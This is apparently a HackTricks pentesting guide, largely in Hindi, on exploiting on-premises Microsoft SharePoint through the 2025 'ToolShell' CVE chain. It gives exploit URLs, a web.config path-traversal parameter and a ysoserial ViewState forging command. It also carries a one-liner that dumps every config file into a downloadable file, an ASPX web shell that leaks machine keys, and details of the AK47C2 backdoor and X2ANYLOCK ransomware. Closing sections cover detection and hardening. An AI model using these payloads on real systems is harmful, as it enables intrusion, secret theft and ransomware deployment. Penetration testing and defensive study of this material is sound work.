Microsoft SharePoint – Pentesting & Exploitation
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Microsoft SharePoint (ऑन-प्रिमाइसेस) ASP.NET/IIS के ऊपर बनाया गया है। इसलिए, अधिकांश क्लासिक वेब अटैक सतह (ViewState, Web.Config, वेब शेल, आदि) मौजूद है, लेकिन SharePoint सैकड़ों स्वामित्व वाले ASPX पृष्ठों और वेब सेवाओं के साथ भी आता है जो उजागर अटैक सतह को नाटकीय रूप से बढ़ाते हैं। यह पृष्ठ SharePoint वातावरण के भीतर एन्यूमरेट, शोषण और स्थायी रहने के लिए व्यावहारिक तरकीबें एकत्र करता है, जिसमें Unit42 द्वारा प्रकट 2025 शोषण श्रृंखला (CVE-2025-49704/49706/53770/53771) पर जोर दिया गया है।
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit chain (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
पृष्ठ में मनमाना Server-Side Include कोड इंजेक्ट करने की अनुमति देता है जिसे बाद में ASP.NET द्वारा संकलित किया जाता है। एक हमलावर C# को एम्बेड कर सकता है जो Process.Start()
को निष्पादित करता है और एक दुर्भावनापूर्ण ViewState छोड़ता है।
2.2 CVE-2025-49706 – Improper Authentication Bypass
उसी पृष्ठ पर X-Forms_BaseUrl हेडर पर साइट संदर्भ निर्धारित करने के लिए भरोसा किया जाता है। इसे /_layouts/15/
पर इंगित करके, रूट साइट पर लागू MFA/SSO को अनधिकृत रूप से बायपास किया जा सकता है।
2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
एक बार जब हमलावर ToolPane.aspx
में एक गैजेट को नियंत्रित कर लेता है, तो वे एक unsigned (या MAC-only) __VIEWSTATE
मान पोस्ट कर सकते हैं जो w3wp.exe के अंदर .NET deserialization को ट्रिगर करता है, जिससे कोड निष्पादन होता है।
यदि साइनिंग सक्षम है, तो किसी भी web.config
से ValidationKey/DecryptionKey चुराएं (देखें 2.4) और ysoserial.net या ysodom के साथ पेलोड को फोर्ज करें:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
For an in-depth explanation on abusing ASP.NET ViewState read:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – पथ ट्रैवर्सल / web.config प्रकटीकरण
ToolPane.aspx
को एक तैयार Source
पैरामीटर भेजना (जैसे ../../../../web.config
) लक्षित फ़ाइल को लौटाता है, जिससे निम्नलिखित का लीक होना संभव होता है:
<machineKey validationKey="…" decryptionKey="…">
➜ ViewState / ASPXAUTH कुकीज़ को forge करें- कनेक्शन स्ट्रिंग्स और रहस्य।
3. पोस्ट-एक्सप्लॉइटेशन व्यंजन जो जंगली में देखे गए
3.1 हर .config फ़ाइल को एक्सफिल्ट्रेट करें (संस्करण-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
परिणामी debug_dev.js
को गुमनाम रूप से डाउनलोड किया जा सकता है और इसमें सभी संवेदनशील कॉन्फ़िगरेशन शामिल है।
3.2 एक Base64-कोडित ASPX वेब शेल (संस्करण-2) तैनात करें
powershell.exe -EncodedCommand <base64>
डिकोडेड पेलोड उदाहरण (संक्षिप्त):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
लिखा गया:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
The shell endpoints को पढ़ने / घुमाने के लिए मशीन कुंजी प्रदान करता है, जो ViewState और ASPXAUTH कुकीज़ को फार्म में बनाने की अनुमति देता है।
3.3 ओबफस्केटेड वेरिएंट (वेरिएशन-3)
समान शेल लेकिन:
...\15\TEMPLATE\LAYOUTS\
के तहत गिराया गया- वेरिएबल नाम एकल अक्षरों में घटाए गए
- सैंडबॉक्स-एवेज़न और टाइमिंग-आधारित AV बायपास के लिए
Thread.Sleep(<ms>)
जोड़ा गया।
3.4 AK47C2 मल्टी-प्रोटोकॉल बैकडोर और X2ANYLOCK रैनसमवेयर (देखा गया 2025-2026)
हालिया घटना-प्रतिक्रिया जांच (Unit42 “Project AK47”) दिखाती हैं कि हमलावर ToolShell श्रृंखला का उपयोग कैसे करते हैं प्रारंभिक RCE के बाद SharePoint वातावरण में एक डुअल-चैनल C2 इम्प्लांट और रैनसमवेयर तैनात करने के लिए:
AK47C2 – dnsclient
वेरिएंट
- हार्ड-कोडेड DNS सर्वर:
10.7.66.10
प्राधिकृत डोमेनupdate.updatemicfosoft.com
के साथ संचार करता है। - संदेश JSON ऑब्जेक्ट्स XOR-एन्क्रिप्टेड होते हैं स्थिर कुंजी
VHBD@H
, हेक्स-कोडेड और सब-डोमेन लेबल के रूप में एम्बेडेड होते हैं।
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- लंबे प्रश्नों को चंक किया जाता है और
s
के साथ पूर्ववर्ती किया जाता है, फिर सर्वर-साइड पर फिर से जोड़ा जाता है। - सर्वर TXT रिकॉर्ड में समान XOR/हेक्स स्कीम के साथ उत्तर देता है:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- संस्करण 202504 ने एक सरल प्रारूप
<COMMAND>::<SESSION_KEY>
और चंक मार्कर1
,2
,a
पेश किया।
AK47C2 – httpclient
वेरिएंट
- समान JSON और XOR रूटीन का पुनः उपयोग करता है लेकिन हेक्स ब्लॉब को HTTP POST बॉडी में
libcurl
(CURLOPT_POSTFIELDS
, आदि) के माध्यम से भेजता है। - समान कार्य/परिणाम कार्यप्रवाह की अनुमति देता है:
- मनमाने शेल कमांड निष्पादन।
- गतिशील नींद अंतराल और किल-स्विच निर्देश।
X2ANYLOCK रैनसमवेयर
- 64-बिट C++ पेलोड DLL साइड-लोडिंग के माध्यम से लोड किया गया (नीचे देखें)।
- फ़ाइल डेटा के लिए AES-CBC का उपयोग करता है + RSA-2048 AES कुंजी को लपेटने के लिए, फिर एक्सटेंशन
.x2anylock
जोड़ता है। - स्थानीय ड्राइव और खोजे गए SMB शेयरों को पुनरावृत्त रूप से एन्क्रिप्ट करता है; सिस्टम पथों को छोड़ देता है।
- स्पष्ट-टेक्स्ट नोट
How to decrypt my data.txt
छोड़ता है जिसमें बातचीत के लिए एक स्थिर Tox ID एम्बेडेड होता है। - एक आंतरिक किल-स्विच शामिल है:
if (file_mod_time >= "2026-06-06") exit(0);
DLL साइड-लोडिंग श्रृंखला
- हमलावर
dllhijacked.dll
/My7zdllhijacked.dll
को एक वैध7z.exe
के बगल में लिखता है। - SharePoint द्वारा उत्पन्न
w3wp.exe
7z.exe
को लॉन्च करता है, जो Windows खोज क्रम के कारण दुर्भावनापूर्ण DLL को लोड करता है, मेमोरी में रैनसमवेयर एंट्रीपॉइंट को सक्रिय करता है। - एक अलग LockBit लोडर देखा गया (
bbb.msi
➜clink_x86.exe
➜clink_dll_x86.dll
) शेल-कोड को डिक्रिप्ट करता है और LockBit 3.0 चलाने के लिएd3dl1.dll
में DLL हॉलोइंग करता है।
info
X2ANYLOCK में पाया गया वही स्थिर Tox ID लीक हुए LockBit डेटाबेस में दिखाई देता है, जो सहयोगी ओवरलैप का सुझाव देता है।
4. पहचान विचार
टेलीमेट्री | यह क्यों संदिग्ध है |
---|---|
w3wp.exe → cmd.exe | कार्यकर्ता प्रक्रिया को शायद ही कभी शेल उत्पन्न करना चाहिए |
cmd.exe → powershell.exe -EncodedCommand | क्लासिक lolbin पैटर्न |
फ़ाइल घटनाएँ debug_dev.js या spinstall0.aspx बनाना | ToolShell से सीधे IOC |
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/Module logs) | सार्वजनिक PoCs इस पृष्ठ को सक्रिय करते हैं |
उदाहरण XDR / Sysmon नियम (pseudo-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. हार्डनिंग और शमन
- पैच – जुलाई 2025 सुरक्षा अपडेट सभी चार CVEs को ठीक करते हैं।
- समझौते के बाद हर
<machineKey>
औरViewState
रहस्यों को घुमाएँ। WSS_WPG
औरWSS_ADMIN_WPG
समूहों से LAYOUTS लिखने की अनुमति हटा दें।- प्रॉक्सी/WAF स्तर पर
/_layouts/15/ToolPane.aspx
तक बाहरी पहुंच को ब्लॉक करें। - ViewStateUserKey, MAC सक्षम, और कस्टम EventValidation सक्षम करें।
संबंधित तरकीबें
- IIS पोस्ट-एक्सप्लॉइटेशन और web.config दुरुपयोग:
IIS - Internet Information Services
संदर्भ
- Unit42 – Microsoft SharePoint कमजोरियों का सक्रिय शोषण
- GitHub PoC – ToolShell शोषण श्रृंखला
- Microsoft सुरक्षा सलाहकार – CVE-2025-49704 / 49706
- Unit42 – प्रोजेक्ट AK47 / SharePoint शोषण और रैंसमवेयर गतिविधि
- Microsoft सुरक्षा सलाहकार – CVE-2025-53770 / 53771
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।